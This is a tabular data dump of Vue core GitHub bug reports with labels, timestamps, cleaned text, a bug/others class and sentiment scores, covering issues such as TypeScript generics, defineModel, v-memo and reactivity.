vuejs/core,2800708717,TypeScript Generic Constraint Error in Vue withDefaults When Using undefined or null Types. 在 Vue 的 withDefaults 中，含有 undefined 或 null 类型时的 TypeScript 泛型约束错误,"### Vue version

latest

### Link to minimal reproduction

https://www.typescriptlang.org/play/?#code/JYWwDg9gTgLgBAbzgEwKYDNgDtUAUoRgDOANHAO7AwAWAIhgIYCuANjEXAL5zoEhwByAG5NUAgFDi0AYxYMoqHkyzSYwCFh4QIAHgAqcVAA8YqLMg4CGAuAB9BAIxsBeQdYB8ACjAFiALjg9AEoAoQhgZABuSRk5BSUVNQ04B3l9QxMzCzcbewEnOzhlNEwcZDhXYoxsVGQvH0IiAIQsBhBUAH4AvU4QuDCI6Ml0bU8AIjGgyXFUqE8WttQAid7p9GVVdU1pcHTjU3NLa0L8gS8gxHE4a7hsUyh0BmlFfEb9d0ubr7hW9u6rm6cAHXSg0eiPVjsTwlGqvYg6OFEd7nMgIYHfX5LOCeC7OD5jBhjOAMDh6Ejo1ZA8TrRJbOA7MAAJj2mUOOROBXsVVKtQqRXM1TK50+NzuqAeTxeviReg+aO+N0x-y+QK+oLojEhRGhgrw0oR+tlKJFCqV2Nx+MJxNJ5JVUypNM2yQZAGYWQdslZco5vTghOK+X7xcL5aKsPdHs84Ij3iaMYtlYD0erwcw2NqYTgYzGjTjUeivmacRVLUSSYFbYD7ZIgA

### Steps to reproduce

[language-tools #5132](https://github.com/vuejs/language-tools/issues/5132)

### What is expected?

no err

### What is actually happening?

![Image](https://github.com/user-attachments/assets/755020df-5ac1-47ff-8fe5-c62d7b0a062a)

### System Info

```shell

```

### Any additional comments?

_No response_",scope: types,2025-01-21 05:02:45+00:00,2025-01-21 05:53:56+00:00,3,scope: types,0.0355,typescript generic constraint error in vue withdefaults when using undefined or null types vue withdefaults undefined null typescript vue version latest link to language tools what is expected no err what is actually happening image system info any additional comments no response,bug,-0.7506
vuejs/core,2800236095,`deep` cannot be a directive modifier,"### Vue version

v3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UttO4zAQ/RXLLwEppEK7TyVbaS+V2NV2WQESL5ZQSaati2+yJ6FVyb8zdmi482bPOTNzZs7s+HfnirYBPuZlqLx0yAJg4ybCSO2sR7Zj7Wz7S3qoULbAOrbwVrOsGA2x7ESYctRnUx59ELRTcwT6MVaujll7pLdH9T6hCFbD5BSUsuzK+rocrY4/otYA7i21HD1rwXOOobJmIZfFOlhDs+xiNcErq51U4M8cSmuC4GOWkIjNqeTdnxRD30C+j1crqG7fia/DJsYE/+8hgG9B8AHDuV8C9vD04h9s6D2A2taNIvYn4DkEq5qosaf9aExNsp/xktrfyRFplpdhukEwYT9UFBqZXeILTob+/GT0J7lfiq8pT5iOtjg4WmCgJT4eAG4d0BWc3awJfHsI1CsegDCJN7O1XEjwgX1jWbQ5Y/csiyb2JNikmuRWwBeHNX7doDy9nP2dKtBgMGdzs82fik+oeppG28Yg1AfXOSmkXT727g73w8ZGVkGh7PJgwA9JSr+s7oR3D6MbBRA=

### Steps to reproduce

Add `'deep'` as a directive modifier.

### What is expected?

Should be able to use `'deep'` as a modifier.

### What is actually happening?

![Image](https://github.com/user-attachments/assets/62280011-b9db-4350-becc-a7142cd83c75)

### Any additional comments?

It appears `deep` was introduced for [handling mutations of v-model bound array/sets](https://github.com/vuejs/core/commit/2937530beff5c6bb57286c2556307859e37aa809) and isn't exposed as api on the directive, but rather completely managed internally.",scope: types,2025-01-20 20:37:23+00:00,2025-01-21 01:37:15+00:00,1,scope: types,0.2082,cannot be a directive modifier vue version v link to add as a directive modifier what is expected should be able to use as a modifier what is actually happening image any additional comments it appears was introduced for handling mutations of v model bound array sets and isn t exposed as api on the directive but rather completely managed internally,others,-0.0387
vuejs/core,2799243570,--mode breaks build,"### Version
3.5.13

### Reproduction link
[stackblitz.com](https://stackblitz.com/edit/vitejs-vite-mawlhysg?file=index.html&terminal=dev)

(call: npm run dev --mode development to reproduce)




### Steps to reproduce
```
npm create vue@latest
cd vue-project
npm install
npm run dev --mode development
```

### What is expected?
Vue starting up as if only
```
npm run dev 
```
was called

### What is actually happening?
http://localhost:5173/ returns 404 - not found

---
Setting ""--mode production"" has the same effect.

I tried to use .env files for my project until I found out setting --mode would even break the example build. 

Observation: The regular (un--moded) build displays
```
  ➜  Local:   http://localhost:5173/
  ➜  Network: use --host to expose
  ➜  Vue DevTools: Open http://localhost:5173/__devtools__/ as a separate window
  ➜  Vue DevTools: Press Alt(⌥)+Shift(⇧)+D in App to toggle the Vue DevTools
  ➜  press h + enter to show help
```
on the command line. But with the --mode option set, the two ""Vue DevTools"" lines are missing.

<!-- generated by vue-issues. DO NOT REMOVE -->",,2025-01-20 13:14:28+00:00,2025-01-20 15:56:29+00:00,0,nan,0.1125,mode breaks build version stackblitz com call npm run dev mode development to reproduce what is expected vue starting up as if only was called what is actually happening returns not found setting mode production has the same effect i tried to use env files for my project until i found out setting mode would even break the example build observation the regular un moded build displays on the command line but with the mode option set the two vue devtools lines are missing,others,-0.4215
vuejs/core,2799229620,`ComponentInstance<typeof Comp>['$props']` has invalid properties when used with `strictFunctionTypes` and `defineModel`,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9VM1OGzEQfpXRCjUgoUQV7SVsgiCiEkWlqKS9YFqZ3UlicOyVf0KiKOeee+qp6rv1CfoIHXuXTdIk3Oz5ZvyN5/PneXJaFM2Jx6SdpDYzonBg0fkCJFfDDkucZUmXKTEutHHQ0+MCBkaPodFshU0obRzXuJsVCHOmIGZqhcpdKOu4yvAwRE+l1E+Y1+C10YWNSB3qeev0eAl8udI5xi1Ti5KbJcTKEqJlKjIGDuhscqYB1YMI0CWYarUgHgV2pL3MQWkHmVaOCwV7UBgciCnmtAg5f3//+P7n18+K4zRznsuyugM3dGEpBrM0UN029mJF445IiALg60nFtg4DTrj03CE4DW4kSo6K4HxaYOYw36CYG+S5VnIGE2HFvcQ23GstkatjqCGWaPW5yOnsdpXFkpM27AfCZcEBdLrA1ewYFvBqZbS02SoNxbcJs3HNnjeGUqgPutgQ6SGMEPi9niB1aL108IQw4rQlPNf/jWW5qkbR03RcVrZw5t3FOMBo5OwKLU1o9/x3KVGdW1f1u3TGHG4vgYR/xBm9kf5dG/q3l3ewYCptlVaIbyZ1SFU0WNoBpNEC1YihRbG0tZKQHJJj6EUNxLD5YLUiW0U7sCSjOiHRfCyc0Ipc1S6NEjAeZv8+xpzxpVVizQizxy3xBzsNMZZc03TRTEjrGnPckAAlfH5zhVNa1+BY5z68jBfAT2i19KHHMu3Mq5zaXsmL3ZImZHihhn17PnWo7POl1hq1zojMvfMqCwf2SYM6J6QsYmK0cxjrrvEsr3TUfBPr6CugST9/QCt/18qvVf5jpElOrlb4gd66TCsfdPcblYSNgxfltkjOL39I8k0Oa+Juav9tgiZMgjo6ar5tvj5KFv8AVB3gSQ==

### Steps to reproduce

1. Open the linked playground
2. Make sure that `strictFunctionTypes` is set to `true` in `tsconfig.json`
3. Hover over types in App.vue setup block

### What is expected?

`ComponentInstance<typeof Comp>['$props']` should evaluate to object describing `Comp`'s props. It should **not** contain `$`-prefixed properties:

```ts
type ExpectedProps = {
    readonly visible: boolean;
    readonly ""onUpdate:visible""?: (value: boolean) => any;
    key?: PropertyKey;
    ref?: VNodeRef;
    ref_for?: boolean;
 ... [TRUNCATED]",scope: types,2025-01-20 13:08:15+00:00,2025-05-20 00:44:36+00:00,1,scope: types,119.4836,has invalid properties when used with and vue version link to open the linked playground make sure that is set to in hover over types in app vue setup block what is expected should evaluate to object describing s props it should not contain prefixed properties ts type expectedprops readonly visible boolean readonly onupdate visible value boolean any key propertykey ref vnoderef ref for boolean truncated,others,0.2023
vuejs/core,2798753815,Wrong value when using useTemplateRef and defineModel,"### Vue version

3.5.13

### Link to minimal reproduction

https://codesandbox.io/p/devbox/4twzxl

### Steps to reproduce

- Use the use template to reference a Dom
- Define a constant with the same name using defineModel
- This constant becomes a reference to the DOM or component

![Image](https://github.com/user-attachments/assets/0ee348ab-c94f-430e-8631-06f505f7dcd9)

### What is expected?

A constant is a model declared by defineModel


### What is actually happening?

This constant is becomes a reference to the DOM or component

### System Info

```shell
System:
    OS: Linux 6.1 Debian GNU/Linux 12 (bookworm) 12 (bookworm)
    CPU: (2) x64 AMD EPYC
    Memory: 2.08 GB / 4.01 GB
    Container: Yes
    Shell: Unknown
  Binaries:
    Node: 20.12.0 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.5.0 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/share/npm-global/bin/pnpm
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```

### Any additional comments?

_No response_",:hammer: p3-minor-bug,2025-01-20 09:49:43+00:00,2026-02-09 07:54:44+00:00,1,:hammer: p3-minor-bug,384.9202,wrong value when using usetemplateref and definemodel vue version link to use the use template to reference a dom define a constant with the same name using definemodel this constant becomes a reference to the dom or component image what is expected a constant is a model declared by definemodel what is actually happening this constant is becomes a reference to the dom or component system info any additional comments no response,bug,-0.4404
vuejs/core,2797512079,Not work with vue component decorator,"### Vue version

latest

### Link to minimal reproduction

https://github.com/Mittcio/nuxt-error3

### Steps to reproduce

bun - b dev

### What is expected?

To work

### What is actually happening?

```
SyntaxError: Invalid character: '@'
      at <parse> ()
      at runInThisContext (native:1:1)
      at /home/test/Desktop/test/node_modules/vite-node/dist/client.mjs:398:19
      at runModule (/home/test/Desktop/test/node_modules/vite-node/dist/client.mjs:471:10)
      at /home/test/Desktop/test/node_modules/vite-node/dist/client.mjs:464:11
      at processTicksAndRejections (native:7:39)

```

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-01-19 08:59:05+00:00,2025-01-19 12:16:18+00:00,0,nan,0.137,not work with vue component decorator vue version latest link to bun b dev what is expected to work what is actually happening system info any additional comments no response,others,-0.296
vuejs/core,2795652788,Reactivity issue with computed on array first item,"### Version
3.5.13

### Reproduction link
[stackblitz.com](https://stackblitz.com/edit/vitejs-vite-xjbkhwre?file=src%2FApp.vue)







### Steps to reproduce
Click on the button ""Increment first array item"" until the first array item object reach 5.

The computed ""biggestNumber"" is never recomputed, showing 4 instead of 5.

Click once on the second button ""Increment second array item"". The computed ""biggestNumber"" is now recomputed and displays 5 as expected.

Click on the first button, this time the computed is always recomputed on each clicks.

Click on the second button until it's value is superior to the first array item. Then click on the first one, it loses reactivity again.

This only happens to the first array item, redo steps with the first button and third or first and fourth.

### What is expected?
The computed should react to changes on the first array item.

### What is actually happening?
The first item never triggers computed reactivity until other array items changes.

---
Thank you for your work, love Vue <3

<!-- generated by vue-issues. DO NOT REMOVE -->","scope: reactivity,:hammer: p3-minor-bug",2025-01-17 14:48:01+00:00,2026-03-09 06:37:49+00:00,4,"scope: reactivity,:hammer: p3-minor-bug",415.6596,reactivity issue with computed on array first item version stackblitz com click on the button increment first array item until the first array item object reach the computed biggestnumber is never recomputed showing instead of click once on the second button increment second array item the computed biggestnumber is now recomputed and displays as expected click on the first button this time the computed is always recomputed on each clicks click on the second button until it s value is superior to the first array item then click on the first one it loses reactivity again this only happens to the first array item redo steps with the first button and third or first and fourth what is expected the computed should react to changes on the first array item what is actually happening the first item never triggers computed reactivity until other array items changes thank you for your work love vue,bug,0.886
vuejs/core,2792331381,Self referencing components do not work in kebab-case,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/vuejs/core/blob/2e6ec398114bef171984782cb9cee36d460b047a/packages/compiler-core/src/transform.ts#L157

### Steps to reproduce

## Works

filename: `BaseComponent.vue`
template:
```vue
<template>
  <div>
    <BaseComponent
      v-for=""child in children""
      :key=""child.id""
    />
  </div>
</template>

<script setup>
const children = ref([]);
</script>
```

## Works

filename: `base-component.vue`
template:
```vue
<template>
  <div>
    <BaseComponent
      v-for=""child in children""
      :key=""child.id""
    />
  </div>
</template>

<script setup>
const children = ref([]);
</script>
```

## DOES NOT work

filename: `base-component.vue`
template:
```vue
<template>
  <div>
    <base-component
      v-for=""child in children""
      :key=""child.id""
    />
  </div>
</template>

<script setup>
const children = ref([]);
</script>
```

Culprit is here: https://github.com/vuejs/core/blob/2e6ec398114bef171984782cb9cee36d460b047a/packages/compiler-core/src/transform.ts#L157

it transforms it to `PascalCase`, so `kebab-case` doesn't work

### What is expected?

in reproduce

### What is actually happening?

in reproduce

### System Info

```shell

```

### Any additional comments?

related issues:
https://github.com/vuejs/docs/issues/765
https://github.com/vuejs/core/issues/2827
https://github.com/vuejs/core/issues/2821",need more info,2025-01-16 10:33:49+00:00,2025-01-17 15:59:16+00:00,3,need more info,1.226,self referencing components do not work in kebab case vue version link to works filename template works filename template does not work filename template culprit is here it transforms it to so doesn t work what is expected in reproduce what is actually happening in reproduce system info any additional comments related issues,others,0.0
vuejs/core,2791517556,"The h function cannot be rendered to the default slot when the first argument is a native element, only when the return value is an array","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUV1LhEAU/SvDfVpBlM16kW2hYh/qoaJ6ayJErzqbzsh8mCD+98ZRdwtiF+Zh5nwM557bw03TBK1BiGGjUskavaWc1Y2QmvTlQHIpakLBKihQjp0jMswTU+meckIk8gzlynOP8amN5KRcUchYS8HvB7+f9fHKu94emfVF5A3eZAvDs8b3v86PyTpQbs8mnLODD1qlguesCPZKcDuWC0YhFXXDKpRPjWaCKwoxmSNTSKpKfD84TEuD/oKnJaZf/+B71Y0YhWeJCmVruzlwOpEF6onevT5iZ+8HshaZqaz6BPmCSlRmzDjJbg3PbOxfOpf23q2I8eJN7TqNXC1DjUFdMU7vNnd3YvRj3Ci4XAq1LX62KMc/bYFRcBWsIxh+AH6TtBQ=

### Steps to reproduce

Open the first line and find 123 cannot be rendered, open the second line and find 123 can be rendered

### What is expected?

Slot return h function can also be rendered

### What is actually happening?

Cannot render

### System Info

```shell

```

### Any additional comments?

_No response_",🔩 p2-edge-case,2025-01-16 02:08:31+00:00,2025-01-17 08:20:16+00:00,1,🔩 p2-edge-case,1.2582,the h function cannot be rendered to the default slot when the first argument is a native element only when the return value is an array vue version link to open the first line and find cannot be rendered open the second line and find can be rendered what is expected slot return h function can also be rendered what is actually happening cannot render system info any additional comments no response,others,-0.3182
vuejs/core,2789439798,Generic Type Constraints with null | undefined Are Stripped During Build,"### Vue version

3.4.21

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kU1PwzAMhv+KlRNIYzvAaXSTAO0AB0CAdsqltG7JSJ0oH2NS6X/HSbWxw7RTYr+vncdOL+6snW4jirkofOWUDeAxRAu6pHYhRfBSQIuETlUcrgF3Aan24INT1MIvUOw+0eWL1nxEqrFRhLUUS0mqs8YF6B02AzTOdCAFPyfFrSRJlSEfYFvqiLAA9hTr5UXqcympmI083ISDgJ3VZUCOAApFNnLdVWdq1IyVOzDojOVidvCKCfPzG41qpxtviIfsU70Ulems0uhebFDMIMUcspK0Umvz85RzwUWc7PPVF1bfJ/Ibv0s5KV4denRbBjlooXQthlFevT/z8o5Epo+a3WfEN/RGx8Q42u55u4x95Mu0j3nL/B8ffpX+x++HSqDJOWR/Xv3DmdH/ca+nN7lO0iCGP3ruuFQ=

### Steps to reproduce

```
<script setup lang=""ts"" generic=""V extends string | number | null | undefined"">
import {ref} from ""vue"";

const value = ref<V>(null)
</script>

<template>
  <input v-model=""value"" />
</template>
```
Then run `npm run build`.

The built output only includes `<V extends string | number>`, dropping the `null | undefined` constraints.

### What is expected?

The generic type constraint should preserve `null | undefined` types
Component should accept `null/undefined` values when used with appropriate type parameters

### What is actually happening?

Built output strips `null | undefined` from generic constraints
TypeScript errors occur when trying to pass null values to components, even though they're explicitly included in the constraints

### System Info

```shell
System:
    OS: macOS 14.3.1
    CPU: (8) arm64 Apple M1 Pro
    Memory: 56.75 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.10.0 - ~/.nvm/versions/node/v20.10.0/bin/node
    Y... [TRUNCATED]","need more info,can't reproduce",2025-01-15 10:40:29+00:00,2025-01-20 08:41:08+00:00,5,"need more info,can't reproduce",4.9171,generic type constraints with null undefined are stripped during build vue version link to then run the built output only includes dropping the constraints what is expected the generic type constraint should preserve types component should accept values when used with appropriate type parameters what is actually happening built output strips from generic constraints typescript errors occur when trying to pass null values to components even though they re explicitly included in the constraints system info shell system os macos cpu arm apple m pro memory mb gb shell bin zsh binaries node nvm versions node v bin node y truncated,others,0.6808
vuejs/core,2788919205,"Using v-show to render different modules, rendering problems occur when specifying width percentages","### Vue version

vue-version:  v3.2.13        @vue/cli:  v5.0.8

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-shvm1fd7?file=package.json,src%2FApp.vue,src%2Fmain.js&terminal=dev

### Steps to reproduce

1. Open the  reproduction link and run the demo
2. Select the selector option to option2 and the different module display

### What is expected?

1.Select the option2,then the ModuleD and ModuleE shuold like the ModuleA normally display

### What is actually happening?

1.Select the option2,then the ModuleD and ModuleE abnormally display

### System Info

```shell
System:
    OS: Linux 3.10 CentOS Linux 7 (Core)
    CPU: (4) x64 Intel(R) Core(TM) i7-9700 CPU @ 3.00GHz
    Memory: 66.20 MB / 1.78 GB
    Container: Yes
    Shell: 4.2.46 - /bin/bash
  Binaries:
    Node: 16.20.2 - /run/user/1000/fnm_multishells/4906_1736908128865/bin/node
    npm: 8.19.4 - /run/user/1000/fnm_multishells/4906_1736908128865/bin/npm
  Browsers:
    Chrome: 124.0.6367.118
  npmPackages:
    vue: ^3.2.13 => 3.5.13
```

### Any additional comments?


1.In the style code area, I commented on the different display results caused by setting different width methods.
2.In my opinion, regardless of whether the width setting is a percentage or a fixed value, under the conditional rendering of v-show, the width or aspect ratio in the initial state should not be lost.",,2025-01-15 06:06:00+00:00,2025-01-15 06:42:11+00:00,0,nan,0.0251,using v show to render different modules rendering problems occur when specifying width percentages vue version vue version v vue cli v link to open the and run the demo select the selector option to option and the different module display what is expected select the option then the moduled and modulee shuold like the modulea normally display what is actually happening select the option then the moduled and modulee abnormally display system info any additional comments in the style code area i commented on the different display results caused by setting different width methods in my opinion regardless of whether the width setting is a percentage or a fixed value under the conditional rendering of v show the width or aspect ratio in the initial state should not be lost,bug,0.4874
vuejs/core,2786792895,v-memo skips updates when used with v-for and within a v-if,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UstOwzAQ/BXjC1RtU6rCpaQVD/UAB0DArUYopJvUbWJbtpMWRfl31k76EEK9rWdmZ2dXruidUkFZAB3T0MSaK0sM2EJNmeC5ktqSimhISE0SLXNyjtLzGyaYiKUwqF3KDZk4xYXVBXR2eCwLYVvisoMN4aBxR198WMhVFlnAFyGhUZEgZZ8nE0adIaMePzCJ1EhBBjnhgsyHn4yS8Rp+WhBfZT+HXOJ77iejYFpVvqxrHI02zaimJL7+LqyVgtzGGY/X7WiMfNZGiJeRSMFvGA4abePxt8+P6XZdS1MdycPBflXao9bgdRKeBisjBV68cn7OIFc8A/2iLMfrMTomnnFclGVy8+Qxd+DeDo+XEK//wVdm6zBGXzUY0CUwuudspFOwDT17f4Yt1nsyl4siQ/UJ8g2MzAqXsZHdF2KBsY90Pu2j/zdcpB9mtrUgzG4pF9Qpa69nFP/Sw4nVD3FHwZXvY6LGK36VoJ0nHnAUXAfDEa1/AVZr6+E=

### Steps to reproduce

1. click the button ""change show""
2. click the button ""change show""
3. click the button ""count++""
3. click the button ""count++""

### What is expected?

1. the number is no longer displayed
2. the number is displayed again
3. the shown number is updated to 1
4. the shown number is updated to 2

### What is actually happening?

1. the number is no longer displayed
2. the number is displayed again
3. the shown number remains 0
4. the shown number is updated to 2

### System Info

```shell
System:
    OS: Windows 10 10.0.19045
    CPU: (20) x64 12th Gen Intel(R) Core(TM) i7-12800H
    Memory: 12.20 GB / 31.69 GB
  Binaries:
    Node: 22.4.1
    npm: 9.3.1
    pnpm: 8.9.0
  Browsers:
    Chrome: 131.0.6778.265
```


### Any additional comments?

It seems the if the memo values are the same when the v-if is hidden and shown again, then an update to the memo v... [TRUNCATED]",:hammer: p3-minor-bug,2025-01-14 10:34:29+00:00,2026-03-25 06:29:35+00:00,0,:hammer: p3-minor-bug,434.8299,v memo skips updates when used with v for and within a v if vue version link to click the button change show click the button change show click the button count click the button count what is expected the number is no longer displayed the number is displayed again the shown number is updated to the shown number is updated to what is actually happening the number is no longer displayed the number is displayed again the shown number remains the shown number is updated to system info any additional comments it seems the if the memo values are the same when the v if is hidden and shown again then an update to the memo v truncated,bug,0.4019
vuejs/core,2780242681,Template is not mapped in sourcemap on Vite applications,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-mpsjmqwf?file=package.json

### Steps to reproduce

Run npm install on slackblitz then, run npm run build then npm run preview. You'll see some dist js and map files at dist/assets folder. Then open inspect tab in your browser and click throw error. When you upload map file to https://evanw.github.io/source-map-visualization/ and select HelloWorld.vue file, you can see only `ref(0)` part is mapped.

### What is expected?

I expect all source code for SFC has been mapped

### What is actually happening?

When you upload map file to https://evanw.github.io/source-map-visualization/ and select HelloWorld.vue file like mentioned above, you can see only `ref(0)` part is mapped.

### System Info

```shell
System:
    OS: macOS 15.0.1
    CPU: (10) arm64 Apple M1 Max
    Memory: 88.73 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.10.0 - ~/.nvm/versions/node/v20.10.0/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.9.2 - ~/.nvm/versions/node/v20.10.0/bin/npm
  Browsers:
    Chrome: 131.0.6778.205
    Edge: 131.0.2903.112
    Safari: 18.0.1
  npmPackages:
    @vitejs/plugin-vue: ^5.2.1 => 5.2.1 
    vite: ^6.0.7 => 6.0.7
```


### Any additional comments?

_No response_",:lady_beetle:  bug,2025-01-10 13:52:56+00:00,2025-05-20 00:46:03+00:00,1,:lady_beetle:  bug,129.4536,template is not mapped in sourcemap on vite applications vue version link to run npm install on slackblitz then run npm run build then npm run preview you ll see some dist js and map files at dist assets folder then open inspect tab in your browser and click throw error when you upload map file to and select helloworld vue file you can see only part is mapped what is expected i expect all source code for sfc has been mapped what is actually happening when you upload map file to and select helloworld vue file like mentioned above you can see only part is mapped system info any additional comments no response,bug,-0.25
vuejs/core,2776699810,"When using setInterval to implement a counter in Vue3, the Dom Nodes are incremented, but there is no such problem in Vue2","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UsFu2zAM/RVChzVFgzjDduqcYFvRQ3fYhm1HXRyHydTKkiBRaQDD/15KqlOjSHsxpMfHp/do9uKbc4tDRHEt6tB65QgCUnRraVTnrCfoweMOBth528EFUy+kkaa1JhCY2MEq1WfLy4RqJCDVoX+hBGo83dhoCD1zZ5ewWkMvDRQiQ/zeXaoeGj2blCGpLxiMeHWVgGEOH5fL9NAwlbfurHqrsfEn3fxW6ayrkpMT8oWwc7oh5BtAvVWHfOD2onkNfZ9TDtzJhGpk1BsP1eumehOJrIGvrVbtw0qKaXgp1vk6StdVYT/3fjCb4L6U75tqp6xZzLqzWqPJupqEE3NBgUe2U/vFfbCG/3cekxSt7ZzS6H85UjxSKThzMSBFo7V9/JEx8hHnI97+x/bhDH4fjgmT4rfHwJNHKU41zr5HKuXbvz/xyOdTsbPbqJn9TvEPBqtj8lho36PZsu0JL7u9y1urzP5fuD0SmjCGSkbLGpXcvMk370R/sftp8Tn38faI4QmqHBCu

### Steps to reproduce

1. Open Chrome Developer tools (F12)
2. Open More tools -> Performance monitor
3. Make sure the Dom Nodes option is selected
4. When the number of dom nodes no longer changes, click start counter button to start the counter, the number of dom nodes will increase as the counter is executed each time.
5. Click stop counter button to stop the counter, the number of dom nodes will stop growing.
![dom_nodes](https://github.com/user-attachments/assets/b9764e80-5b47-45b3-9ac7-8c01ed334bb3)


### What is expected?

The number of Dom nodes should remain constant while the counter is executing.

### What is actually happening?

The number of dom nodes are increased as the counter is executed each time. This will cause a memory leak.

### System Info

_No response_

### Any additional comments?

_No response_",can't reproduce,2025-01-09 02:30:24+00:00,2025-01-09 03:32:52+00:00,2,can't reproduce,0.0434,when using setinterval to implement a counter in vue the dom nodes are incremented but there is no such problem in vue vue version link to open chrome developer tools f open more tools performance monitor make sure the dom nodes option is selected when the number of dom nodes no longer changes click start counter button to start the counter the number of dom nodes will increase as the counter is executed each time click stop counter button to stop the counter the number of dom nodes will stop growing dom nodes what is expected the number of dom nodes should remain constant while the counter is executing what is actually happening the number of dom nodes are increased as the counter is executed each time this will cause a memory leak system info no response any additional comments no response,bug,-0.9081
vuejs/core,2775813322,handling emit in `render( h() )` outside `setup()`,"### Vue version

22dcbf3

### Link to minimal reproduction

https://play.vuejs.org/#eNqNVF9z0zAM/yq68NDsLk0ZsJesLTBuD3Ac7DZ4Ijxkidp4c2xjO/1zvX53ZLtpsjEGeWhl6Sf5J1nSLnqvVLpqMcqiqSk1UxYM2lYBL8RylkfW5NE8F6xRUlu4aK2VAhZaNpBH6SScnX8eHUE70LhIoIZ9AI7IPMpFLkopjIVmW7EVzBwoPunVxhbkO4P4BGZz2OUCCCEq1LETAeo4XJYEm/ssbmwGI4vGjpJOWVNcUk7cf68dSfFdVYXFTGmpzCiDWOD6yskZXGMpdTU1VjOxTKAQ23lPInyOo+SYcrk8OhL5YNwHYX9yuK6SZdugsOmvFvX2BjmWVup49MKnPvJ+9ENu00moOVWYDhYbxYkjnQCmrkrvSs7Ke3oGX508gpIXxgzOxm450pn8ShwzikD5lHQ36nOokS1rm529VJvzW8oQdQanagOUCavglrd4To9740JNJ3Rdfy+rKKZnS4CBLTxByNJVn1A1ci7d63fFJ92kUIrIrcZSZFKM20HlyRp74WGFh/UN5kNNQ2R/u3tnz+LQdqScTo41ixLqVQqzYMv0zkhBDe2j51EpG8U46q/KMromj7Lu3jwqiPz6k9dZ3eLhAcmnxvL+Cf2d2ThdHl1pNKhX1PdHG9VxifQoznx584XKMzA2smo5oZ8xXiOVoHUcA+yiFRXRHuA8249+yqhTv5nLjUVhuqQcUYfce3we0dh9eCb1nu7r9I33o5akKvYz/X87wY17UVq2wgQqXDCBlw2zpjv4UUlgXdjybxth53uJNgZ1D0FmQ89p4OsAbzNqdzeiXuPAA81+PlwmSAyOcTydQ5w/98APLzy5BH4+Dlu2mnaS9cT8Bgt5xz3H8FSOG0l77+ozj4euCcRhJKqwR9wkOMbxY3YJPMBRuH8sDC88EA8D3e0NtR2feaLj28JQOx5RDsiEainJDroZvwLCn6ZnoCX1IlZjvoT1eNFy7qeb2hY5IYe5pS53stqtcnvJXdUth+7zu6qWnPYRIT4zcU+bSmM2YNOvnIHYSYOhz0W0/w2c8D4w

### Steps to reproduce

i dont know why this doesnt work on playground

i use nuxt 3 and editorJS lib.
im creating custom module and i wanna render vue components there, so basically you need to click start button and it will render Button component then start typing smth, and you will see nothing on console (its expected but on playground code doesnt even render Butto... [TRUNCATED]",,2025-01-08 16:26:52+00:00,2025-01-09 12:27:48+00:00,5,nan,0.834,handling emit in outside vue version dcbf link to i dont know why this doesnt work on playground i use nuxt and editorjs lib im creating custom module and i wanna render vue components there so basically you need to click start button and it will render button component then start typing smth and you will see nothing on console its expected but on playground code doesnt even render butto truncated,others,0.1531
vuejs/core,2775453744, Project loads white screen after updating to vue 3,"### Vue version

3.5.13

### Link to minimal reproduction

http://localhost:8080/

### Steps to reproduce

- Update project from vue 2 to vue 3
- Update all code according to the documentation

### What is expected?

Return to login page

### What is actually happening?

The project is loading the title and favicon, but the page is loading blank

### System Info

```shell
System:
    OS: Windows 11 10.0.22631
    CPU: (8) x64 Intel(R) Core(TM) i7-8565U CPU @ 1.80GHz
    Memory: 1.83 GB / 7.85 GB
  Binaries:
    Node: 16.15.1 - C:\Program Files\nodejs\node.EXE
    Yarn: 1.22.19 - C:\Program Files\nodejs\yarn.CMD
    npm: 9.1.2 - C:\Program Files\nodejs\npm.CMD
  Browsers:
    Chrome: 131.0.6778.205
    Edge: Chromium (127.0.2651.98)
    Internet Explorer: 11.0.22621.3527
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```


### Any additional comments?

package.json:
```
""dependencies"": {
    ""@fortawesome/fontawesome-free"": ""^6.7.1"",
    ""@fortawesome/fontawesome-svg-core"": ""^6.7.1"",
    ""@fortawesome/free-brands-svg-icons"": ""^6.7.1"",
    ""@fortawesome/free-regular-svg-icons"": ""^6.7.1"",
    ""@fortawesome/free-solid-svg-icons"": ""^6.7.1"",
    ""@fortawesome/vue-fontawesome"": ""^3.0.8"",
    ""@mdi/font"": ""^7.4.47"",
    ""@vue/compat"": ""^3.5.13"",
    ""axios"": ""^1.7.7"",
    ""core-js"": ""^3.6.5"",
    ""js-sha256"": ""^0.11.0"",
    ""rxjs"": ""^7.8.1"",
    ""sha256"": ""^0.2.0"",
    ""socket.io-client"": ""^4.1.2"",
    ""vue"": ""^3.5.13"",
    ""vue-router"": ""^4.5.0"",
    ""vue... [TRUNCATED]",,2025-01-08 13:51:48+00:00,2025-01-08 15:26:27+00:00,0,nan,0.0657,project loads white screen after updating to vue vue version link to update project from vue to vue update all code according to the documentation what is expected return to login page what is actually happening the project is loading the title and favicon but the page is loading blank system info any additional comments package json dependencies fortawesome fontawesome free fortawesome fontawesome svg core fortawesome free brands svg icons fortawesome free regular svg icons fortawesome free solid svg icons fortawesome vue fontawesome mdi font vue compat axios core js js sha rxjs sha socket io client vue vue router vue truncated,others,0.967
vuejs/core,2774454972,php framework laravel build vue3 use defineModel not run,"### Vue version

3.5.13

### Link to minimal reproduction

